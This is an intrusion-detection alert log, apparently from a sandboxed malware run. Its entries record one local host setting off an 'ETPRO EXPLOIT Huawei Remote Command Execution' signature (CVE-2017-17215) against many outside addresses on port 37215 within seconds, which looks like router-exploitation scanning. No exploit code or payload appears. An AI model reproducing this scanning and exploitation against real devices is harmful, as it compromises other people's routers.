2024-10-08T20:35:09.744399+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59192	156.215.146.232	37215	TCP
2024-10-08T20:35:09.755496+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57826	41.81.245.124	37215	TCP
2024-10-08T20:35:09.788808+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52094	41.55.5.219	37215	TCP
2024-10-08T20:35:09.802503+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49976	197.71.89.68	37215	TCP
2024-10-08T20:35:09.820436+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42224	156.152.77.121	37215	TCP
2024-10-08T20:35:09.832890+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51834	156.222.230.128	37215	TCP
2024-10-08T20:35:09.866815+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52212	197.153.204.158	37215	TCP
2024-10-08T20:35:12.005757+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50094	156.154.219.215	37215	TCP
2024-10-08T20:35:12.863114+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46284	197.169.47.72	37215	TCP
2024-10-08T20:35:12.864874+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39522	156.93.186.164	37215	TCP
2024-10-08T20:35:12.909586+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33468	197.206.88.239	37215	TCP
2024-10-08T20:35:12.910113+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53274	197.49.62.7	37215	TCP
2024-10-08T20:35:12.911712+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55884	41.243.83.13	37215	TCP
2024-10-08T20:35:12.916702+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55188	197.181.201.71	37215	TCP
2024-10-08T20:35:13.438635+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52482	156.73.157.96	37215	TCP
2024-10-08T20:35:13.880902+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47370	156.22.71.139	37215	TCP
2024-10-08T20:35:13.880902+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49978	197.56.146.34	37215	TCP
2024-10-08T20:35:13.896915+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35124	41.210.137.100	37215	TCP
2024-10-08T20:35:13.897060+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60088	156.155.185.214	37215	TCP
2024-10-08T20:35:13.897065+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35306	156.172.212.115	37215	TCP
2024-10-08T20:35:13.897152+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36092	41.146.184.33	37215	TCP
2024-10-08T20:35:13.897242+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35338	197.200.173.97	37215	TCP
2024-10-08T20:35:13.897373+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40966	41.145.207.152	37215	TCP
2024-10-08T20:35:13.897565+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51278	41.201.10.202	37215	TCP
2024-10-08T20:35:13.897823+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42222	197.115.31.20	37215	TCP
2024-10-08T20:35:13.898985+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34426	156.233.49.226	37215	TCP
2024-10-08T20:35:13.898997+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39694	197.19.239.208	37215	TCP
2024-10-08T20:35:13.900484+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41706	156.212.202.95	37215	TCP
2024-10-08T20:35:13.909604+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43554	156.110.224.192	37215	TCP
2024-10-08T20:35:13.910932+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51932	156.214.68.98	37215	TCP
2024-10-08T20:35:13.911967+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40878	197.10.242.92	37215	TCP
2024-10-08T20:35:13.914324+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42070	41.213.200.73	37215	TCP
2024-10-08T20:35:13.915656+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43118	197.61.137.233	37215	TCP
2024-10-08T20:35:13.916546+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58528	197.78.132.32	37215	TCP
2024-10-08T20:35:13.916588+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43358	156.20.24.103	37215	TCP
2024-10-08T20:35:13.930368+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53188	41.154.117.250	37215	TCP
2024-10-08T20:35:13.930458+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60678	156.100.4.160	37215	TCP
2024-10-08T20:35:13.930766+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52492	156.224.232.229	37215	TCP
2024-10-08T20:35:13.931360+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33352	41.231.143.196	37215	TCP
2024-10-08T20:35:14.770861+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33996	197.234.121.237	37215	TCP
2024-10-08T20:35:14.961293+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34896	197.29.2.213	37215	TCP
2024-10-08T20:35:14.973762+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50980	156.88.55.106	37215	TCP
2024-10-08T20:35:14.974306+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44084	156.191.85.75	37215	TCP
2024-10-08T20:35:14.978101+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40376	41.141.39.137	37215	TCP
2024-10-08T20:35:14.988966+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48376	41.123.118.173	37215	TCP
2024-10-08T20:35:14.992030+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51924	41.253.181.180	37215	TCP
2024-10-08T20:35:15.894338+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37752	156.124.250.23	37215	TCP
2024-10-08T20:35:15.895027+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59892	156.32.183.41	37215	TCP
2024-10-08T20:35:15.909938+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39124	197.84.216.15	37215	TCP
2024-10-08T20:35:15.910039+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53232	197.193.39.52	37215	TCP
2024-10-08T20:35:15.910460+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48208	41.124.133.105	37215	TCP
2024-10-08T20:35:15.910791+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44898	156.36.51.231	37215	TCP
2024-10-08T20:35:15.913738+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38768	156.199.215.78	37215	TCP
2024-10-08T20:35:15.913983+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58854	156.36.221.25	37215	TCP
2024-10-08T20:35:15.913991+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60178	156.223.144.169	37215	TCP
2024-10-08T20:35:15.926367+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44064	156.196.127.99	37215	TCP
2024-10-08T20:35:15.926666+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54588	156.161.55.245	37215	TCP
2024-10-08T20:35:15.941417+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60646	156.184.134.85	37215	TCP
2024-10-08T20:35:15.942859+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51612	156.80.45.236	37215	TCP
2024-10-08T20:35:15.944978+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43924	156.207.208.73	37215	TCP
2024-10-08T20:35:15.957116+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53014	197.118.155.162	37215	TCP
2024-10-08T20:35:15.989889+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32780	41.6.184.55	37215	TCP
2024-10-08T20:35:16.003966+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58410	156.63.48.112	37215	TCP
2024-10-08T20:35:16.005616+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48068	41.206.221.4	37215	TCP
2024-10-08T20:35:16.025189+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53274	156.131.248.248	37215	TCP
2024-10-08T20:35:16.925882+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35418	41.219.111.19	37215	TCP
2024-10-08T20:35:16.925901+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53542	156.125.110.190	37215	TCP
2024-10-08T20:35:16.927135+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58900	156.103.50.200	37215	TCP
2024-10-08T20:35:16.942092+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36322	41.206.217.168	37215	TCP
2024-10-08T20:35:16.956526+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56026	41.114.141.158	37215	TCP
2024-10-08T20:35:16.958645+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41320	156.184.128.75	37215	TCP
2024-10-08T20:35:16.972438+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51876	41.110.87.225	37215	TCP
2024-10-08T20:35:16.993045+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34802	197.42.54.201	37215	TCP
2024-10-08T20:35:17.005561+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42122	197.161.78.217	37215	TCP
2024-10-08T20:35:17.941785+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52562	197.58.175.124	37215	TCP
2024-10-08T20:35:17.943011+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54450	156.9.173.133	37215	TCP
2024-10-08T20:35:17.943128+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59298	197.76.150.216	37215	TCP
2024-10-08T20:35:17.945113+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37532	197.72.206.33	37215	TCP
2024-10-08T20:35:17.957163+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46438	197.216.205.44	37215	TCP
2024-10-08T20:35:17.961109+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38012	41.132.104.150	37215	TCP
2024-10-08T20:35:17.961334+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42346	41.126.206.191	37215	TCP
2024-10-08T20:35:17.962575+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48848	197.68.74.133	37215	TCP
2024-10-08T20:35:17.972691+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41158	197.206.159.179	37215	TCP
2024-10-08T20:35:17.976211+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41972	41.231.238.172	37215	TCP
2024-10-08T20:35:17.976684+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59618	197.84.253.185	37215	TCP
2024-10-08T20:35:18.019477+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40418	197.98.75.148	37215	TCP
2024-10-08T20:35:18.019686+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44456	156.243.42.146	37215	TCP
2024-10-08T20:35:18.073976+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33372	156.41.157.113	37215	TCP
2024-10-08T20:35:18.348823+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48214	41.72.218.17	37215	TCP
2024-10-08T20:35:18.956792+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46782	41.149.36.112	37215	TCP
2024-10-08T20:35:18.956992+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54546	41.168.12.102	37215	TCP
2024-10-08T20:35:18.973481+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46260	156.166.209.196	37215	TCP
2024-10-08T20:35:18.973624+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33810	156.126.147.159	37215	TCP
2024-10-08T20:35:18.973653+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48040	41.1.145.144	37215	TCP
2024-10-08T20:35:18.973715+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53964	197.41.200.182	37215	TCP
2024-10-08T20:35:18.973784+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36556	197.163.232.58	37215	TCP
2024-10-08T20:35:18.973956+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37822	156.190.184.19	37215	TCP
2024-10-08T20:35:18.974388+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40430	156.185.63.71	37215	TCP
2024-10-08T20:35:18.974947+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55492	197.55.132.116	37215	TCP
2024-10-08T20:35:18.975372+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40262	156.42.166.221	37215	TCP
2024-10-08T20:35:18.975442+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60550	156.240.192.197	37215	TCP
2024-10-08T20:35:18.977026+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34060	41.131.40.164	37215	TCP
2024-10-08T20:35:18.988277+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48998	41.249.12.127	37215	TCP
2024-10-08T20:35:18.988423+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34186	197.242.135.34	37215	TCP
2024-10-08T20:35:18.988622+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49546	197.69.143.158	37215	TCP
2024-10-08T20:35:18.990050+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52292	156.126.200.175	37215	TCP
2024-10-08T20:35:18.990067+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39984	197.22.60.61	37215	TCP
2024-10-08T20:35:18.990625+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42472	156.60.195.206	37215	TCP
2024-10-08T20:35:18.992407+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46152	197.107.207.131	37215	TCP
2024-10-08T20:35:18.992589+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39894	41.150.102.212	37215	TCP
2024-10-08T20:35:18.992777+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33972	41.113.31.144	37215	TCP
2024-10-08T20:35:18.994010+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37934	156.143.124.66	37215	TCP
2024-10-08T20:35:18.994045+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45060	41.218.37.60	37215	TCP
2024-10-08T20:35:18.994591+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47336	156.26.171.128	37215	TCP
2024-10-08T20:35:19.008006+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51348	197.116.210.230	37215	TCP
2024-10-08T20:35:19.957186+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46902	156.150.11.107	37215	TCP
2024-10-08T20:35:19.957196+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47628	197.99.192.124	37215	TCP
2024-10-08T20:35:19.957335+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45628	197.188.135.64	37215	TCP
2024-10-08T20:35:19.976541+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42350	197.148.38.33	37215	TCP
2024-10-08T20:35:19.976720+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34952	156.196.119.180	37215	TCP
2024-10-08T20:35:19.994262+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46252	197.240.193.198	37215	TCP
2024-10-08T20:35:20.009555+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42808	197.123.151.190	37215	TCP
2024-10-08T20:35:20.268057+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42870	156.229.60.94	37215	TCP
2024-10-08T20:35:20.574409+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54776	41.130.86.114	37215	TCP
2024-10-08T20:35:21.426150+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49980	156.174.103.73	37215	TCP
2024-10-08T20:35:21.426155+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54198	197.204.33.127	37215	TCP
2024-10-08T20:35:21.426155+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36872	41.135.155.163	37215	TCP
2024-10-08T20:35:21.426174+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54066	197.236.253.41	37215	TCP
2024-10-08T20:35:21.426183+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50910	197.179.205.141	37215	TCP
2024-10-08T20:35:21.426207+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54304	41.56.138.239	37215	TCP
2024-10-08T20:35:21.426219+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37114	197.30.59.26	37215	TCP
2024-10-08T20:35:21.426220+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59304	41.67.50.187	37215	TCP
2024-10-08T20:35:21.426234+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34370	197.177.162.81	37215	TCP
2024-10-08T20:35:21.426234+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47356	156.176.7.254	37215	TCP
2024-10-08T20:35:21.426246+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51014	41.125.67.250	37215	TCP
2024-10-08T20:35:21.426262+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36758	41.189.232.28	37215	TCP
2024-10-08T20:35:21.426281+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36270	41.197.11.205	37215	TCP
2024-10-08T20:35:21.426293+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43544	197.220.219.212	37215	TCP
2024-10-08T20:35:22.003617+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45876	156.198.32.25	37215	TCP
2024-10-08T20:35:22.003896+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45964	197.126.132.192	37215	TCP
2024-10-08T20:35:22.004217+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33836	41.74.171.135	37215	TCP
2024-10-08T20:35:22.004755+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42894	197.234.147.243	37215	TCP
2024-10-08T20:35:22.004798+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54898	41.115.157.223	37215	TCP
2024-10-08T20:35:22.020144+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51794	41.114.131.97	37215	TCP
2024-10-08T20:35:22.020450+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48536	41.130.30.224	37215	TCP
2024-10-08T20:35:22.020502+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52780	41.6.80.20	37215	TCP
2024-10-08T20:35:22.020709+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53310	197.190.56.127	37215	TCP
2024-10-08T20:35:22.020735+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36300	197.132.170.39	37215	TCP
2024-10-08T20:35:22.021288+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58506	197.224.174.122	37215	TCP
2024-10-08T20:35:22.021469+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57186	156.160.61.36	37215	TCP
2024-10-08T20:35:22.021596+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50236	156.184.10.160	37215	TCP
2024-10-08T20:35:22.021627+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55606	41.167.195.187	37215	TCP
2024-10-08T20:35:22.021805+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42526	197.110.33.52	37215	TCP
2024-10-08T20:35:22.023398+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49004	197.53.81.109	37215	TCP
2024-10-08T20:35:22.023858+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40192	41.87.89.221	37215	TCP
2024-10-08T20:35:22.034975+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50152	197.104.247.95	37215	TCP
2024-10-08T20:35:22.035338+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44772	156.86.188.100	37215	TCP
2024-10-08T20:35:22.035789+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37522	41.11.91.190	37215	TCP
2024-10-08T20:35:22.036809+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43516	41.34.19.233	37215	TCP
2024-10-08T20:35:22.041112+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56248	156.168.97.189	37215	TCP
2024-10-08T20:35:22.041219+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39174	197.89.103.45	37215	TCP
2024-10-08T20:35:22.041287+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46578	156.82.185.38	37215	TCP
2024-10-08T20:35:22.050747+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48924	41.95.1.72	37215	TCP
